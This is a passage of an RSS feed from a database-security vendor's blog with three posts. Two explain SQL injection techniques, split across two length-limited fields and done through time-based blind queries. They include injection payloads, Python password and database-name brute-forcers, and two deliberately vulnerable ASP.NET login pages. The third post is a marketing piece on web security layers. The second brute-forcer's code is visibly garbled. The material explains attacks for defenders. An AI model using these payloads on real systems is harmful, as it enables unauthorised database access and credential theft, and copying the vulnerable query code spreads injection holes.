<p>The attack results the following query:<span style="color:#0000ff;"></p>
<p>select</span> EmailAddress <span style="color:#0000ff;">from</span> person.contact <span style="color:#0000ff;">where</span> FirstName = &#8221;<span style="color:#0000ff;">union select</span>/*&#8217; and LastName = &#8216;*/db_name()&#8211;&#8217;;</p>
<p>This will output the database name!</p>
<p>User Name and Password through 2-fields<br />
=============================<br />
In this scenario, the attacker attacks a web application which receives a username and a password, and outputs “Access Granted!” or “Access Denied!”. The web application limits user’s input to 20 bytes for each field. The web application validates only user’s input length. (see Appendix B)<br />
The application sends the following query:<br />
<span style="color:#0000ff;"><br />
select</span> count(*) <span style="color:#0000ff;">from</span> dbo.users <span style="color:#0000ff;">where</span> UserName = &#8216;@un&#8217; and <span style="color:#0000ff;">Password</span> = &#8216;@pass&#8217;; &#8211;where @un and @pass are the user’s input</p>
<p>In order to brute-force the first character of david’s password, the attacker sends the strings:</p>
<p>•    User Name: david&#8217;and substring/*<br />
•    Password: */(<span style="color:#0000ff;">password</span>,1,1)=&#8217;p</p>
<p>The attack results the following query:<br />
<span style="color:#0000ff;"><br />
select</span> count(*) <span style="color:#0000ff;">from</span> dbo.users <span style="color:#0000ff;">where</span> UserName = &#8216;david&#8217;and substring/*&#8217; and <span style="color:#0000ff;">Password</span> = &#8216;*/(password,1,1)=&#8217;p';</p>
<p>Return ‘1’ if the first character of the password is ‘p’ or ‘0’ in any different situation.<br />
In order to brute-force david’s entire password, the attacker can use the following python script:</p>
<p>&nbsp;</p>
<pre>##################################################
##   GreenSQL 2-fields SQL Injection Attack     ##
##            Password Brute Forcer             ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import urllib

un = 'david'and substring/*'
i=0
CurrChr = 0
password = ""

for index in range(1,40):
    if CurrChr == 125:
        break
    for CurrChr in range(32,126):
        pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr)
        args = {'UserName':un,'Password':pswd}
        encoded_args = urllib.urlencode(args)
        url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
        print "Sending: ", index, "X", chr(CurrChr)
        f = urllib.urlopen(url, encoded_args)
        contents = f.read()
        f.close()
        if (contents.find('Access Granted') != -1):
            password = password + chr(CurrChr)
            print "Password: ", password
            CurrChr =1
            break
         

        
        
Appendix A - Web Application #1 Source Code
===========================================

&lt;%@ Page Language="C#" Debug="true" %&gt;
  &lt;%@ Import Namespace="System.Data" %&gt;
  &lt;%@ Import Namespace="System.Data.SqlClient" %&gt;
  &lt;html&gt;
 &lt;head&gt;&lt;title&gt;Shortest&lt;/title&gt;&lt;/head&gt;
 
  &lt;body&gt;
  &lt;form id = "f" method="post" action="shortest.aspx"&gt;
    First Name: &lt;input name = "FirstName" type="text" maxlength="15" /&gt;(maxlength: 15) &lt;br /&gt;
    Last Name: &lt;input name = "LastName" type="text" maxlength="15"/&gt;(maxlength: 15) &lt;br /&gt;
    &lt;input id="submit" type="submit" value="Get Email" /&gt;
  &lt;/form&gt;
 
  &lt;%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string fn = "";
      fn = Request.Form["FirstName"];
      string ln = "";
      ln = Request.Form["LastName"];
      if (fn.Length &lt;= 15 &amp;&amp; ln.Length &lt;= 15)
      {
          string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("&lt;table&gt;");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("&lt;tr&gt;");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  Response.Write("&lt;th&gt;");
                  Response.Write(row[col]);
                  Response.Write("&lt;/th&gt;");
              }
              Response.Write("&lt;/tr&gt;");
          }
          Response.Write("&lt;/table&gt;");
          Response.Write(command);
          if (fn != null &amp;&amp; ln != null)
              Response.Write("&lt;br /&gt;FirstName: " + fn + "(" + fn.Length.ToString() + ")&lt;br /&gt;LastName: " + ln + "(" + ln.Length.ToString() + ")&lt;br /&gt;Total Length: " + (fn.Length + ln.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %&gt;
&lt;/body&gt;
&lt;/html&gt;

Appendix B – Web Application #2 Source Code
===========================================

&lt;%@ Page Language="C#" Debug="true" %&gt;
  &lt;%@ Import Namespace="System.Data" %&gt;
  &lt;%@ Import Namespace="System.Data.SqlClient" %&gt;
  &lt;html&gt;
 &lt;head&gt;&lt;title&gt;Shortest&lt;/title&gt;&lt;/head&gt;
 
  &lt;body&gt;
  &lt;form id = "f" method="post" action="Authentication.aspx"&gt;
    Username: &lt;input name = "UserName" type="text" maxlength="20" /&gt;(maxlength: 20) &lt;br /&gt;
    Password: &lt;input name = "Password" type="text" maxlength="20"/&gt;(maxlength: 20) &lt;br /&gt;
    &lt;input id="submit" type="submit" value="Authenticate" /&gt;
  &lt;/form&gt;
 
  &lt;%
      string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
      DataSet ds = new DataSet();
      string un = "";
      un = Request.Form["Username"];
      string pass = "";
      pass = Request.Form["Password"];
      if (un.Length &lt;= 20 &amp;&amp; pass.Length &lt;= 20)
      {
          string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
          SqlDataAdapter data = new SqlDataAdapter(command, conn);
          data.Fill(ds);

          Response.Write("&lt;table&gt;");
          foreach (DataRow row in ds.Tables[0].Rows)
          {
              Response.Write("&lt;tr&gt;");
              foreach (DataColumn col in ds.Tables[0].Columns)
              {
                  if (System.Convert.ToInt32(row[0]) &gt; 0)

                      Response.Write("Access Granted!");

                  else
                      Response.Write("Access Denied!");
              }
              Response.Write("&lt;/tr&gt;");
          }
          Response.Write("&lt;/table&gt;");
          Response.Write(command);
          if (un != null &amp;&amp; pass != null)
              Response.Write("&lt;br /&gt;UserName: " + un + "(" + un.Length.ToString() + ")&lt;br /&gt;Password: " + pass + "(" + pass.Length.ToString() + ")&lt;br /&gt;Total Length: " + (un.Length + pass.Length).ToString());
      }
      else
      {
          Response.Write("Username and Passwords are limited to 15 characters maximum!");
      }
  %&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Time-Based Blind SQL Injection</title>
		<link>http://www.greensql.com/blog/2011/09/time-based-blind-sql-injection/</link>
		<comments>http://www.greensql.com/blog/2011/09/time-based-blind-sql-injection/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 13:35:06 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[Time-Based Blind SQL Injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=132</guid>
		<description><![CDATA[Time-Based Blind SQL Injection &#160; Overview ======= Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results. Most of the time, the indication bases on server errors or customized application errors. Time-Based Blind SQL Injection ====================== Sometimes the attacker might not [...]]]></description>
			<content:encoded><![CDATA[<div>
<h1></h1>
<h1>Time-Based Blind SQL Injection</h1>
</div>
<p>&nbsp;<br />
Overview<br />
=======<br />
Blind SQL Injection is an attack which the attacker gets an indication for the query execution success. The attacker doesn’t get the query results.<br />
Most of the time, the indication bases on server errors or customized application errors.</p>
<p>Time-Based Blind SQL Injection<br />
======================<br />
Sometimes the attacker might not be able to identify the query execution success, because the server/application doesn’t show any error.<br />
One of the techniques to get an indication for the query execution success called Time-Based Blind SQL Injection.<br />
With this technique, the attacker executes functions that take some time to finish (for example: Benchmark, Delay, etc.). By measuring the time took the application to response, the attacker might be able to identify if the query executed successfully or the query execution failed.</p>
<p>Discovering Database Details<br />
====================<br />
An attacker can export information from the database by using Time-Based Blind SQL Injection.<br />
For example, an attacker can brute force the database’s name with this technique:<br />
1.    Set the time before the query execution.<br />
2.    Execute the following query:</p>
<p>declare @s varchar(100)<br />
select @s = db_name()<br />
if (ascii(substring(@s,1,1))) = 65<br />
waitfor delay &#8217;0:0:10&#8242;<br />
else<br />
waitfor delay &#8217;0:0:2&#8242;</p>
<p>3.    Set the time after the query execution.<br />
4.    Calculate time it took to the query to run,<br />
4.1.    if it took 10 seconds, the first character of the database’s name is ‘A’ (ASCII 65)<br />
4.2.    if it took 2 seconds, the first character of the database’s name if NOT ‘A’.</p>
<p>Database’s name brute-forcer (Proof-of-Concept in Python):<br />
==========================================</p>
<p>Tested Environment</p>
<p>1.    Windows 7 64-bits.<br />
2.    MSSQL Server 2008.<br />
3.    Database: AdventureWorks, can be downloaded from: <a href="http://msftdbprodsamples.codeplex.com/releases/view/37109">http://msftdbprodsamples.codeplex.com/releases/view/37109</a>)<br />
4.    SQL Server Configuration:<br />
a.    TCP/IP – Enabled.<br />
b.    Authentication Mode – Both SQL Server and Windows.<br />
c.    SQL User:<br />
i.    Name: GreenSQL<br />
ii.    Password: GreenSQL<br />
iii.    Server Roles: sysadmin<br />
iv.    User Mapping: AdventureWorks</p>
<p>&nbsp;</p>
<p><strong>This code is for educational purposes only!<br />
</strong></p>
<p>Python Source Code<br />
===============</p>
<pre>
##################################################
##   GreenSQL Time-Based Blind SQL Injection    ##
##          Database Name Brute Forcer          ##
##              Proof-of-Concept                ##
##  This code is for educational purposes only  ##
##################################################

import pyodbc
import time
## Connect to the DB
cnxn = pyodbc.connect('DRIVER={SQL
Server};SERVER=localhost;DATABASE=AdventureWorks;UID=GreenSQL;PWD=GreenSQL')
cursor = cnxn.cursor()
## Set variables
DBName = ''
CurrChr = 0
FirstRun = int(time.time())
ASCIIRange = range(32,126)
## Discover DB Name (Brute Force)
for i in range(1,100):
if CurrChr == 125: ## if the last loop ended without a match,
break the loop
break
for CurrChr in ASCIIRange:
str(i)
print "Trying Char: " + chr(CurrChr) + " @ position: " +
print "DBName: " + DBName
query = 'declare @s varchar(100) '
query = query + 'select @s = db_name() '
query = query + 'if (ascii(substring(@s, '
query = query + str(i)
query = query + ', 1))) = '
query = query + str(CurrChr)
query = query + ' waitfor delay '0:0:10'' ##if the
current character matches, wait 10 seconds
query = query + 'else '
query = query + 'waitfor delay '0:0:2''
2 seconds
print query
StartTime = int(time.time()) ## Set the time before query
execution (UNIX Time)
cursor.execute(query)
EndTime = int(time.time())
execution (UNIX Time)
if EndTime-StartTime &gt;= 10:
matches,
String
## Execute the query
## Set time after query
## if the current character
DBName = DBName + chr(CurrChr) ## add it to DBName
CurrChr = 1
break
## Print the findings and statistics
DoneTime = int(time.time())
print "DB Name: " + DBName
print "It took " + str(DoneTime - FirstRun) + "seconds!"</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2011/09/time-based-blind-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Four Security Layers of a Web Environment</title>
		<link>http://www.greensql.com/blog/2011/07/the-four-security-layers-of-a-web-environment/</link>
		<comments>http://www.greensql.com/blog/2011/07/the-four-security-layers-of-a-web-environment/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 13:32:28 +0000</pubDate>
		<dc:creator>greensql</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[WAF]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=126</guid>
		<description><![CDATA[Is your web environment secure? All of it? Many people believe that if they&#8217;ve installed a network firewall, they’ve done their duty. They think that a firewall is like a strong barrier or moat protecting their information assets and that no more is needed. Wrong! Just as in times of old, tunnels can be dug [...]]]></description>
			<content:encoded><![CDATA[<p>Is your web environment secure? All of it?</p>
<p>Many people believe that if they&#8217;ve installed a network firewall, they’ve done their duty. They think that a firewall is like a strong barrier or moat protecting their information assets and that no more is needed. Wrong! Just as in times of old, tunnels can be dug under the moat, ladders can be used to scale the wall, and secret passageways can be found into the castle.</p>
<p>A web environment has four layers that need protection: the Network level, the Application level, the Operating System level and the Database level. Most people think of these layers as being one within the other, like concentric circles. They reason that if they protect the outermost level, the inner levels are automatically protected.</p>
<p>&#8220;That is simply not so!&#8221; explains David Maman, CTO of GreenSQL. &#8220;Hackers can attack a Web environment at each level independently, and security issues at each level need to be addressed.&#8221;</p>
<p>At the Network level, a simple network level firewall does protect the infrastructure (the access to which IP addresses and using which port) but provides very limited protection, if any, to stop attacks at the Application and Database level.</p>
<p>You may have heard of bank websites having their links or text or pictures changed. Website defacement and other Application level attacks take place because someone, at some point in time, wrote sloppy software with security holes. Hackers specialize in using exploits, SQL Injections, and other techniques to attack these vulnerabilities at the code level.</p>
<p>One approach to prevent vulnerabilities is to have a professional code review of the software in use in the Web environment to identify and address coding security issues. Of course, reviews are only as good as the reviewers, and no one should ever review their own code. It&#8217;s much too easy to overlook one&#8217;s own mistakes.</p>
<p>An additional and important approach is to update all the applications in use and to harden your web and database servers. For example, Oracle has just released 78(!!) security updates in their latest release.</p>
<p>Another option is to use a signature-based approach to spot and then quarantine this kind of attack. Each Application level attack has a &#8220;signature&#8221; or typical way of operating that identifies it. A comparison of Web Application Firewalls (WAF) shows that some are more effective than others, but none is perfect.</p>
<p>The Database level, the fourth essential layer in a web environment, needs protection from attacks directed at the database. In the end, most of today&#8217;s common attacks are aimed at retrieving sensitive information from the database. This makes the fourth layer the most crucial one.</p>
<p>So, for security, check all four: Network, Application, Operating System and Database. To make sure your information assets are protected, your best bet is to use an integrated database security solution that is non-disruptive to existing software and databases, is easy to install and use, and provides extensive management reporting and audit trails, all without degrading responsiveness to users. Inexpensive would be nice.</p>
<p>GreenSQL anyone?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2011/07/the-four-security-layers-of-a-web-environment/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

